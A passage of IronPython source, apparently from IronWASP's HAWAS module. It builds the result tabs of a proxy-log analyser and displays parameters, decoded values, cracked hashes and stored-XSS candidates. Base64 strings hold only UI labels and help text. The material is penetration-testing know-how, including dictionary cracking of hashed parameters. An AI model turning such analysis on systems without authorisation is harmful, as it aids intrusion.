ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_parameter_name_tb.ReadOnly = True + sr_parameter_name_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_parameter_name_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_parameter_name_tb.Multiline = True + sr_parameter_name_tb.WordWrap = True + sr_parameter_name_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_parameter_name_tb) + ui.ModControls['sr_parameter_name_tb'] = sr_parameter_name_tb + sr_values_grid = ModDataGridView() + sr_values_grid.Name = 'sr_values_grid' + sr_values_grid.Size = ModUiTools.GetSizeDefinition(612,268) + sr_values_grid.Location = ModUiTools.GetLocationDefinition(251,26) + sr_values_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_values_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_values_grid.Enabled = True + sr_values_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + sr_values_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_values_grid.AllowUserToAddRows = False + sr_values_grid.AllowUserToDeleteRows = False + sr_values_grid.AllowUserToResizeColumns = True + sr_values_grid.AllowUserToResizeRows = False + sr_values_grid.ColumnHeadersVisible = True + sr_values_grid.RowHeadersVisible = False + sr_values_grid.GridColor = ModUiTools.GetColorDefinition(-1) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('OriginalValue', 'DataGridViewTextBoxCell', True, 100, 100, 5, 'NotSet', 'UGFyYW1ldGVyIE5hbWU=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Encoding Type', 'DataGridViewTextBoxCell', True, 100, 100, 5, 'NotSet', 'VmFsdWU=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Decoded Value', 'DataGridViewTextBoxCell', True, 100, 205, 5, 'Fill', 'UmVxdWVzdHMgd2l0aCBQYXJhbWV0ZXI=')) + sr_values_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('LogIds', 'DataGridViewTextBoxCell', True, 100, 204, 2, 'Fill', 'UmVzcG9uc2VzIHdpdGggUmVmbGVjdGlvbg==')) + sr_values_grid.CellClick += lambda s,e: self.sr_values_grid_click() + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_values_grid) + ui.ModControls['sr_values_grid'] = sr_values_grid + sr_selected_host_tb = ModTextBox() + sr_selected_host_tb.Name = 'sr_selected_host_tb' + sr_selected_host_tb.Size = ModUiTools.GetSizeDefinition(242,39) + sr_selected_host_tb.Location = ModUiTools.GetLocationDefinition(3,408) + sr_selected_host_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_selected_host_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_selected_host_tb.Enabled = True + sr_selected_host_tb.BackColor = ModUiTools.GetColorDefinition(-1) + sr_selected_host_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_selected_host_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + sr_selected_host_tb.ReadOnly = True + sr_selected_host_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + sr_selected_host_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + sr_selected_host_tb.Multiline = True + sr_selected_host_tb.WordWrap = True + sr_selected_host_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_selected_host_tb) + ui.ModControls['sr_selected_host_tb'] = sr_selected_host_tb + sr_hosts_grid = ModDataGridView() + sr_hosts_grid.Name = 'sr_hosts_grid' + sr_hosts_grid.Size = ModUiTools.GetSizeDefinition(242,376) + sr_hosts_grid.Location = ModUiTools.GetLocationDefinition(3,26) + sr_hosts_grid.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + sr_hosts_grid.Dock = ModUiTools.GetDockStyleDefinition('None') + sr_hosts_grid.Enabled = True + sr_hosts_grid.BackgroundColor = ModUiTools.GetColorDefinition(-1) + sr_hosts_grid.ForeColor = ModUiTools.GetColorDefinition(-16777216) + sr_hosts_grid.AllowUserToAddRows = False + sr_hosts_grid.AllowUserToDeleteRows = False + sr_hosts_grid.AllowUserToResizeColumns = True + sr_hosts_grid.AllowUserToResizeRows = False + sr_hosts_grid.ColumnHeadersVisible = True + sr_hosts_grid.RowHeadersVisible = False + sr_hosts_grid.GridColor = ModUiTools.GetColorDefinition(-1) + sr_hosts_grid.Columns.Add(ModUiTools.GetDataGridViewColumnDefinition('Host', 'DataGridViewTextBoxCell', True, 100, 239, 5, 'Fill', 'U2VsZWN0IGEgSG9zdA==')) + sr_hosts_grid.CellClick += lambda s,e: self.sr_hosts_grid_click() + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(sr_hosts_grid) + ui.ModControls['sr_hosts_grid'] = sr_hosts_grid + mod_label_20 = ModLabel() + mod_label_20.Name = 'mod_label_20' + mod_label_20.Size = ModUiTools.GetSizeDefinition(203,14) + mod_label_20.Location = ModUiTools.GetLocationDefinition(3,9) + mod_label_20.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_20.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_20.Enabled = True + mod_label_20.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_20.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_20.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_20.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_20.Text = Tools.Base64Decode('VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6') + result_tabs.TabPages['stored_reflections_tab'].Controls.Add(mod_label_20) + ui.ModControls['mod_label_20'] = mod_label_20 + result_tabs.TabPages.Add('interactive_testing_tab', ' Interactive Testing ') + mod_label_21 = ModLabel() + mod_label_21.Name = 'mod_label_21' + mod_label_21.Size = ModUiTools.GetSizeDefinition(830,135) + mod_label_21.Location = ModUiTools.GetLocationDefinition(17,19) + mod_label_21.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_21.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_21.Enabled = True + mod_label_21.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_21.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_21.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_21.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_21.Text = Tools.Base64Decode('VGhpcyBzZWN0aW9uIHdhcyBvcmlnaW5hbGx5IHBsYW5uZWQgdG8gaG9sZCB1dGlsaXRpZXMgdG8gcGVyZm9ybSBDU1JGIHRlc3RpbmcsIFByaXZpbGxlZ2UgRXNjYWxhdGlvbiB0ZXN0cyBhbmQgSGlkZGVuIFBhcmFtZXRlciBHdWVzc2luZyB0ZXN0cyBiYXNlZCBvbiB0aGUgaW5mb3JtYXRpb24gZm91bmQgaW4gdGhlIGFuYWx5c2lzIG9mIHRoZSBsb2cuDQoNCkhvd2V2ZXIgdG8gcHJvdmlkZSBhIG1vcmUgcm9idXN0IFVJIGZvciB0aGVzZSB0ZXN0cyB0aGVzZSBmdW5jdGlvbmFsaXR5IGhhdmUgYmVlbiBtb3ZlZCB0byB0aGUgSXJvbldBU1AgY29yZSBpdHNlbGYuDQpUbyBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMgZ28gdG8gdGhlIExvZ3Mgc2VjdGlvbiBpbnNpZGUgSXJvbldBU1AsIGNsaWNrIG9uIHRoZSAnU2VhcmNoIGFuZCBBbmFseXplIExvZ3MnIGJ1dHRvbiB0aGVyZS4NCkFmdGVyIHlvdSBkbyBhIHNlYXJjaCwgY2xpY2sgb24gdGhlICdUZXN0IFNlbGVjdGVkIExvZ3MnIGJ1dHRvbiB0byBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMu') + result_tabs.TabPages['interactive_testing_tab'].Controls.Add(mod_label_21) + ui.ModControls['mod_label_21'] = mod_label_21 + result_tabs.TabPages.Add('tab_page_21', ' Help ') + mod_text_box_21 = ModTextBox() + mod_text_box_21.Name = 'mod_text_box_21' + mod_text_box_21.Size = ModUiTools.GetSizeDefinition(861,446) + mod_text_box_21.Location = ModUiTools.GetLocationDefinition(3,3) + mod_text_box_21.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_text_box_21.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_text_box_21.Enabled = True + mod_text_box_21.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_text_box_21.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_text_box_21.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_text_box_21.ReadOnly = True + mod_text_box_21.ScrollBars = ModUiTools.GetScrollBarsDefinition('Vertical') + mod_text_box_21.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_text_box_21.Multiline = True + mod_text_box_21.WordWrap = True + mod_text_box_21.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_text_box_21.Text = Tools.Base64Decode('SEFXQVMgYW5hbHl6ZXMgeW91ciBQcm94eSBsb2dzIGFuZCBsb29rcyBmb3IgaW50ZXJlc3RpbmcgaW5mb3JtYXRpb24uIE9uY2UgdGhlIGFuYWx5c2lzIGlzIGNvbXBsZXRlIHRoZSByZXN1bHRzIGFyZSBzaG93biB0byB5b3UuDQpUaGUgcmVzdWx0cyBhcmVhIGhhcyB0aGUgZm9sbG93aW5nIHNlY3Rpb25zOg0KDQpQYXJhbWV0ZXIgTmFtZXMgYW5kIFZhbHVlczoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KVGhpcyBzZWN0aW9uIGxpc3RzIGFsbCB0aGUgcGFyYW1ldGVyIG5hbWVzIGFuZCB2YWx1ZXMgZGlzY292ZXJlZCBmcm9tIHRoZSBsb2dzLiBUaGVzZSBhcmUgY2F0ZWdvcml6ZWQgYnkgdGhlIGhvc3RuYW1lcy4NClRoZSBsaXN0IG9mIGFsbCBob3N0cyBkaXNjb3ZlcmVkIGluIHRoZSBsb2dzIGlzIGRpc3BsYXllZCBpbiB0aGUgbGVmdC1tb3N0IGFyZWEuIFdoZW4geW91IGNsaWNrIG9uIGFueSBvZiB0aGUgbGlzdGVkIGhvc3RuYW1lcyB0aGVuIHRoZSBuYW1lcyBvZiBhbGwgdGhlIHBhcmFtZXRlcnMgYmVsb25naW5nIHRvIHRoYXQgaG9zdCBhcmUgc2hvd24uDQpXaGVuIHlvdSBjbGljayBvbiBhIHBhcmFtZXRlciBuYW1lLCB0aGUgc2VjdGlvbnMgaW4gd2hpY2ggdGhlc2UgcGFyYW1ldGVyIG5hbWVzIHdlcmUgZGlzY292ZXJlZCBpcyBzaG93bi4NCldoZW4geW91IGNsaWNrIG9uIG9uZSBvZiB0aGUgc2VjdGlvbnMgdGhlbiBhbGwgdGhlIHZhbHVlcyB0aGF0IHRoZSBzZWxlY3RlZCBwYXJhbWV0ZXIgaGFkIGluIHRoZSBzZWN0aW9uIGFyZSBsaXN0ZWQuDQoNClRoaXMgY2FuIGJlIGhlbHBmdWwgaW4gZ2V0IGEgcXVpY2sgb3ZlcnZpZXcgb2YgdGhlIHNpdGUgYW5kIHRvIGlkZW50aWZ5IHBhcmFtZXRlcnMgd2l0aCBpbnRlcmVzdGluZyBuYW1lcyBhbmQgdmFsdWVzLg0KDQpFbmNvZGVkIFBhcmFtZXRlciBWYWx1ZXM6DQo9PT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBlaXRoZXIgSGV4IG9yIEJhc2U2NCBlbmNvZGVkLiBJZiBIQVdBUyBpZGVudGlmaWVkIGFueSBwYXJhbWV0ZXJzIHdpdGggc3VjaCBlbmNvZGVkIHZhbHVlcyB0aGVuIGl0IGRlY29kZXMgdGhlbSBhbmQgbGlzdHMgdGhlbSBoZXJlLg0KQWdhaW4gdGhlIGZpbmRpbmdzIGFyZSBjYXRlZ29yaXplZCBieSBob3N0bmFtZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgaXQgY29udGFpbmVkIGFueSBlbmNvZGVkIHBhcmFtZXRlciB2YWx1ZXMuDQpPbmx5IEhleCBhbmQgQmFzZTY0IGVuY29kaW5nIGRldGVjdGlvbiBhcmUgc3VwcG9ydGVkIGZvciBub3cuDQoNCkhhc2hlZCBQYXJhbWV0ZXIgVmFsdWVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBTSEEgb3IgTUQ1IGhhc2hlcy4gSWYgSEFXQVMgaWRlbnRpZmllZCBhbnkgcGFyYW1ldGVycyB3aGljaCBsb29rIGxpa2UgaGFzaGVzIHRoZW4gaXQgdHJpZXMgdG8gY3JhY2sgdGhlbSBieSB1c2luZyB0aGUgbGlzdCBvZiBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gdGhlIHNhbWUgaG9zdCBhcyBkaWN0aW9uYXJ5IGxpc3QuDQpJZiBIQVdBUyBpcyBhYmxlIHRvIGNyYWNrIGFueSBvZiB0aGVzZSBoYXNoZXMgdGhlbiBpdCBpbmNsdWRlcyB0aGUgY3JhY2tlZCB2YWx1ZSBpbiB0aGUgcmVzdWx0IGFsb25nIHdpdGggdGhlIG5hbWUgYW5kIGRldGFpbHMgb2YgdGhlIHBhcmFtZXRlciB0aGF0IGNvbnRhaW5lZCB0aGUgaGFzaGVkIHZhbHVlIGFuZCB0aGUgcGFyYW1ldGVyIHRoYXQgY29udGFpbmVkIHRoZSBjbGVhci10ZXh0IHZhbHVlIHVzZWQgdG8gY3JhY2sgdGhlIGhhc2guDQpBZ2FpbiB0aGUgZmluZGluZ3MgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lLiBDbGljayBvbiBhIGhvc3RuYW1lIHRvIHNlZSBpZiBpdCBjb250YWluZWQgYW55IGhhc2hlZCBwYXJhbWV0ZXIgdmFsdWVzLg0KDQpQb3RlbnRpYWwgU3RvcmVkIFhTUyBDYW5kaWRhdGVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClN0b3JlZCBYU1Mgb25seSBoYXBwZW5zIHdoZW4gdGhlIGFwcGxpY2F0aW9uIHN0b3JlcyB1c2VyIGlucHV0IG9uIHRoZSBzZXJ2ZXItc2lkZSBhbmQgcmV0dXJucyBpdCBiYWNrIGluIHNvbWUgb3RoZXIgcGFydCBvZiB0aGUgc2l0ZS4gSW4gYSBiaWcgYXBwbGljYXRpb24gaXQgd291bGQgYmUgZGlmZmljdWx0IHRvIGZpbmQgb3V0IHRoZSBwb3RlbnRpYWwgYXJlYXMgd2hlcmUgdGhpcyB0eXBlIG9mIHN0b3JlZCByZWZsZWN0aW9uIGJlaGF2aW91ciBpcyBoYXBwZW5pbmcuDQpIQVdBUyBpZGVudGlmaWVzIGFsbCBhcmVhcyB3aGVyZSBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gc2F5IFJlcXVlc3QgQSBhcHBlYXJzIGluIHRoZSBib2R5IG9mIGFuIHVucmVsYXRlZCBSZXNwb25zZSBCLiBJZiBSZXF1ZXN0IEIgZGlkIG5vdCBjb250YWluIHRoZXNlIHBhcmFtZXRlciB2YWx1ZXMgdGhlbiB0aGVyZSBpcyBhIHBvc3NpYmlsaXR5IHRoYXQgdGhpcyB3YXMgcHV0IGluIHRvIFJlc3BvbnNlIEIgYnkgdGhlIHNlcnZlciBhZnRlciBzdG9yaW5nIHRoZW0gZnJvbSBSZXF1ZXN0IEEgb24gdGhlIHNlcnZlci1zaWRlLg0KDQpBbGwgaWRlbnRpZmllZCBpbnN0YW5jZXMgb2YgdGhpcyBiZWhhdmlvdXIgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lIGFuZCBsaXN0ZWQgaGVyZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgdGhlcmUgd2VyZSBhbnkgc3RvcmVkIHJlZmxlY3Rpb25zLiBTbWFsbCBwYXJhbWV0ZXIgdmFsdWVzIGFyZSBpZ25vcmVkIGR1cmluZyB0aGlzIGFuYWx5c2lzIHRvIHJlZHVjZSBub2lzZS4=') + result_tabs.TabPages['tab_page_21'].Controls.Add(mod_text_box_21) + ui.ModControls['mod_text_box_21'] = mod_text_box_21 + ui.Controls.Add(result_tabs) + ui.ModControls['result_tabs'] = result_tabs + control_btn = ModButton() + control_btn.Name = 'control_btn' + control_btn.Size = ModUiTools.GetSizeDefinition(135,23) + control_btn.Location = ModUiTools.GetLocationDefinition(12,15) + control_btn.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + control_btn.Dock = ModUiTools.GetDockStyleDefinition('None') + control_btn.Enabled = True + control_btn.BackColor = ModUiTools.GetColorDefinition(-986896) + control_btn.ForeColor = ModUiTools.GetColorDefinition(-16777216) + control_btn.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + control_btn.Text = Tools.Base64Decode('U3RhcnQgQW5hbHlzaXM=') + control_btn.Click += lambda s,e: self.start_stop_hawas() + ui.Controls.Add(control_btn) + ui.ModControls['control_btn'] = control_btn + ui.ShowUi() + + self.ui = ui + ui.ModControls['show_results_btn'].SetVisible(False) + self.hide_results() + + def start_stop_hawas(self): + if self.ui.ModControls['control_btn'].Text == "Start Analysis": + self.start_hawas() + else: + self.stop_hawas() + + def start_hawas(self): + self.hide_results() + self.log_sources = ["Proxy"] + self.params = Structures.UniversalParametersList() + self.encoded_values = Structures.UniversalEncodedValuesList() + self.hashed_values = Structures.UniversalHashedValuesList() + self.stored_reflections = Structures.UniversalStoredReflectionsList() + self.config = HawasConfig.Settings(self) + try: + self.log_reader = LogReader.Reader(self) + self.thread_id = IronThread.Run(self.log_reader.read_logs) + self.ui.ModControls['control_btn'].SetText("Stop Analysis") + except Exception as e: + self.ui.ModControls['status_lbl'].SetText("Could not start analysis - {0}".format(e.message)) + + def stop_hawas(self): + self.ui.ModControls['status_lbl'].SetText('Analysis stopped.') + self.ui.ModControls['control_btn'].SetText("Start Analysis") + IronThread.Stop(self.thread_id) + + def end_hawas(self): + self.ui.ModControls['control_btn'].SetText("Start Analysis") + self.ui.ModControls['show_results_btn'].SetVisible(True) + + def hide_results(self): + self.ui.ModControls['result_tabs'].SetVisible(False) + + def show_status(self, msg): + self.ui.ModControls['status_lbl'].SetText(msg) + + def show_results(self): + self.reset_results_ui() + self.ui.ModControls['result_tabs'].SetVisible(True) + self.show_hosts() + + def show_hosts(self): + self.ui.ModControls['pnv_hosts_grid'].Rows.Clear() + for base_url in self.params.get_base_urls(): + self.ui.ModControls['pnv_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['enc_hosts_grid'].Rows.Clear() + for base_url in self.encoded_values.get_base_urls(): + self.ui.ModControls['enc_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['hashed_hosts_grid'].Rows.Clear() + for base_url in self.hashed_values.get_base_urls(): + self.ui.ModControls['hashed_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + self.ui.ModControls['sr_hosts_grid'].Rows.Clear() + for base_url in self.stored_reflections.get_base_urls(): + self.ui.ModControls['sr_hosts_grid'].Rows.Add(Tools.ToDotNetArray([base_url])) + + def pnv_hosts_grid_clicked(self): + if len(self.ui.ModControls['pnv_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['pnv_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['pnv_selected_host_tb'].SetText(base_url) + self.selected_base_url = base_url + self.show_parameter_names() + + def show_parameter_names(self): + self.ui.ModControls['pnv_selected_parameter_tb'].SetText("") + param_list = self.params.get_parameters_list(self.selected_base_url) + self.ui.ModControls['pnv_parameters_grid'].Rows.Clear() + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([-2, "*Select All Parameters*"])) + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([-1, "*Select Url Path Parts*"])) + for id in param_list.get_ids(): + self.ui.ModControls['pnv_parameters_grid'].Rows.Add(Tools.ToDotNetArray([id, param_list.get_parameter(id).name])) + self.ui.ModControls['pnv_parameters_grid'].SetVisible(True) + self.ui.ModControls['pnv_selected_parameter_tb'].SetVisible(True) + self.reset_pnv_values_ui() + self.reset_pnv_sections_ui() + + def pnv_parameters_grid_clicked(self): + if len(self.ui.ModControls['pnv_parameters_grid'].SelectedRows) > 0: + parameter_id = int(self.ui.ModControls['pnv_parameters_grid'].SelectedRows[0].Cells[0].Value) + parameter_name = str(self.ui.ModControls['pnv_parameters_grid'].SelectedRows[0].Cells[1].Value) + self.ui.ModControls['pnv_selected_parameter_tb'].SetText(parameter_name) + self.selected_parameter_id = parameter_id + self.show_parameter_sections() + + def show_parameter_sections(self): + param_list = self.params.get_parameters_list(self.selected_base_url) + sections = [] + + if self.selected_parameter_id > 0: + param = param_list.get_parameter(self.selected_parameter_id) + sections.extend(param.sections) + elif self.selected_parameter_id == -2: + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + for section in param.sections: + if sections.count(section) == 0: + sections.append(section) + if len(sections) == 8:#all possible sections + break + elif self.selected_parameter_id == -1: + self.selected_section = "Url Path Part" + self.show_parameter_values() + self.reset_pnv_sections_ui() + return + + self.ui.ModControls['pnv_sections_grid'].Rows.Clear() + self.ui.ModControls['pnv_sections_grid'].Rows.Add(Tools.ToDotNetArray(["*Select All Sections*"])) + for section in sections: + self.ui.ModControls['pnv_sections_grid'].Rows.Add(Tools.ToDotNetArray([section])) + self.ui.ModControls['pnv_sections_grid'].SetVisible(True) + self.reset_pnv_values_ui() + + def pnv_sections_grid_clicked(self): + if len(self.ui.ModControls['pnv_sections_grid'].SelectedRows) > 0: + section = str(self.ui.ModControls['pnv_sections_grid'].SelectedRows[0].Cells[0].Value) + self.selected_section = section + self.show_parameter_values() + + def show_parameter_values(self): + self.ui.ModControls['pnv_selected_value_tb'].SetText("") + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText("") + values_dict = {} + param_list = self.params.get_parameters_list(self.selected_base_url) + sections = [] + param_ids = [] + if self.selected_parameter_id > 0: + param_ids = [self.selected_parameter_id] + elif self.selected_parameter_id == -2: + param_ids.extend(param_list.get_ids()) + + for pid in param_ids: + param = param_list.get_parameter(pid) + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if value.section == self.selected_section or self.selected_section.startswith("*"): + if not values_dict.has_key(value.value): + values_dict[value.value] = [] + values_dict[value.value].extend(value.proxy_log_ids) + + self.ui.ModControls['pnv_values_grid'].Rows.Clear() + for value in values_dict.keys(): + values_dict[value].sort() + log_ids = str(values_dict[value]).lstrip('[').rstrip(']') + self.ui.ModControls['pnv_values_grid'].Rows.Add(Tools.ToDotNetArray([value, log_ids])) + + self.ui.ModControls['pnv_values_grid'].SetVisible(True) + self.ui.ModControls['pnv_selected_value_tb'].SetVisible(True) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetVisible(True) + self.ui.ModControls['select_value_lbl'].SetVisible(True) + self.ui.ModControls['selected_value_log_ids_lbl'].SetVisible(True) + + def pnv_values_grid_clicked(self): + if len(self.ui.ModControls['pnv_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['pnv_values_grid'].SelectedRows[0].Cells[0].Value) + log_ids = str(self.ui.ModControls['pnv_values_grid'].SelectedRows[0].Cells[1].Value) + self.ui.ModControls['pnv_selected_value_tb'].SetText(value) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText(log_ids) + + + def reset_results_ui(self): + self.reset_pnv_hosts_ui() + self.reset_pnv_parameter_names_ui() + self.reset_pnv_sections_ui() + self.reset_pnv_values_ui() + + def reset_pnv_hosts_ui(self): + self.ui.ModControls['pnv_hosts_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_host_tb'].SetText("") + + def reset_pnv_parameter_names_ui(self): + self.ui.ModControls['pnv_parameters_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_parameter_tb'].SetText("") + self.ui.ModControls['pnv_selected_parameter_tb'].SetVisible(False) + self.ui.ModControls['pnv_parameters_grid'].SetVisible(False) + + def reset_pnv_sections_ui(self): + self.ui.ModControls['pnv_sections_grid'].Rows.Clear() + self.ui.ModControls['pnv_sections_grid'].SetVisible(False) + + def reset_pnv_values_ui(self): + self.ui.ModControls['pnv_values_grid'].Rows.Clear() + self.ui.ModControls['pnv_selected_value_tb'].SetText("") + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetText("") + self.ui.ModControls['select_value_lbl'].SetVisible(False) + self.ui.ModControls['selected_value_log_ids_lbl'].SetVisible(False) + self.ui.ModControls['pnv_values_grid'].SetVisible(False) + self.ui.ModControls['pnv_selected_value_tb'].SetVisible(False) + self.ui.ModControls['pnv_selected_value_log_ids_tb'].SetVisible(False) + + def enc_hosts_grid_click(self): + if len(self.ui.ModControls['enc_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['enc_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['enc_selected_host_tb'].SetText(base_url) + self.show_enc_values(base_url) + + def show_enc_values(self, base_url): + self.reset_enc_values_ui() + enc_list = self.encoded_values.get_list(base_url) + for v_id in enc_list.get_ids(): + enc_val = enc_list.get(v_id) + log_ids = str(enc_val.log_ids).lstrip('[').rstrip(']') + parameter_names = str(enc_val.parameter_names).lstrip('[').rstrip(']') + if len(enc_val.base64_decoded_value) > 0: + self.ui.ModControls['enc_values_grid'].Rows.Add(Tools.ToDotNetArray([enc_val.value, "Base64", enc_val.base64_decoded_value, log_ids, parameter_names])) + if len(enc_val.hex_decoded_value) > 0: + self.ui.ModControls['enc_values_grid'].Rows.Add(Tools.ToDotNetArray([enc_val.value, "Hex", enc_val.hex_decoded_value, log_ids, parameter_names])) + + def enc_values_grid_click(self): + if len(self.ui.ModControls['enc_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[0].Value) + decoded_value = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[2].Value) + log_ids = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[3].Value) + parameter_names = str(self.ui.ModControls['enc_values_grid'].SelectedRows[0].Cells[4].Value) + + self.ui.ModControls['enc_original_value_tb'].SetText(value) + self.ui.ModControls['enc_decoded_value_tb'].SetText(decoded_value) + self.ui.ModControls['enc_log_ids_tb'].SetText(log_ids) + self.ui.ModControls['enc_parameter_names_tb'].SetText(parameter_names) + + def reset_enc_ui(self): + self.ui.ModControls['enc_hosts_grid'].Rows.Clear() + self.ui.ModControls['enc_selected_host_tb'].SetText("") + self.reset_enc_values_ui() + + def reset_enc_values_ui(self): + self.ui.ModControls['enc_values_grid'].Rows.Clear() + self.ui.ModControls['enc_original_value_tb'].SetText("") + self.ui.ModControls['enc_decoded_value_tb'].SetText("") + self.ui.ModControls['enc_log_ids_tb'].SetText("") + self.ui.ModControls['enc_parameter_names_tb'].SetText("") + + def hashed_hosts_grid_click(self): + if len(self.ui.ModControls['hashed_hosts_grid'].SelectedRows) > 0: + base_url = str(self.ui.ModControls['hashed_hosts_grid'].SelectedRows[0].Cells[0].Value) + self.ui.ModControls['hashed_selected_host_tb'].SetText(base_url) + self.show_hashed_values(base_url) + + def show_hashed_values(self, base_url): + self.reset_hashed_values_ui() + hashed_list = self.hashed_values.get_list(base_url) + for v_id in hashed_list.get_ids(): + hashed_val = hashed_list.get(v_id) + log_ids = str(hashed_val.log_ids).lstrip('[').rstrip(']') + parameter_names = str(hashed_val.parameter_names).lstrip('[').rstrip(']') + self.ui.ModControls['hashed_values_grid'].Rows.Add(Tools.ToDotNetArray([hashed_val.value, hashed_val.hash_type, hashed_val.cracked_value, log_ids, parameter_names])) + + def hashed_values_grid_click(self): + if len(self.ui.ModControls['hashed_values_grid'].SelectedRows) > 0: + value = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[0].Value) + cracked_value = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[2].Value) + log_ids = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[3].Value) + parameter_names = str(self.ui.ModControls['hashed_values_grid'].SelectedRows[0].Cells[4].Value) + + self.ui.ModControls['hashed_original_value_tb'].SetText(value) + self.ui.ModControls['hashed_cracked_value_tb'].SetText(cracked_value) + self.ui.ModControls['hashed_log_ids_tb'].SetText(log_ids) + self.ui.ModControls['hashed_parameter_names_tb'].SetText(parameter_names) + + def reset_hashed_ui(self): + self.ui.ModControls['hashed_hosts_grid'].Rows.Clear() + self.ui.ModControls['hashed_selected_host_tb'].SetText("") + self.reset_hashed_values_ui() + + def reset_hashed_values_ui(self): + self.ui.ModControls['hashed_values_grid'].Rows.Clear() + self.ui.ModControls['hashed_original_value_tb'].SetText("") + self.ui.ModControls['hashed_cracked_value_tb'].SetText("") + self.ui.ModControls['hashed_log_ids_tb'].SetText("") + self.ui.ModControls['hashed_parameter_names_tb'].SetText("") + + def sr_hosts_grid_click(self): + if len(self.ui.ModControls['sr_hosts_grid'].SelectedRows) > 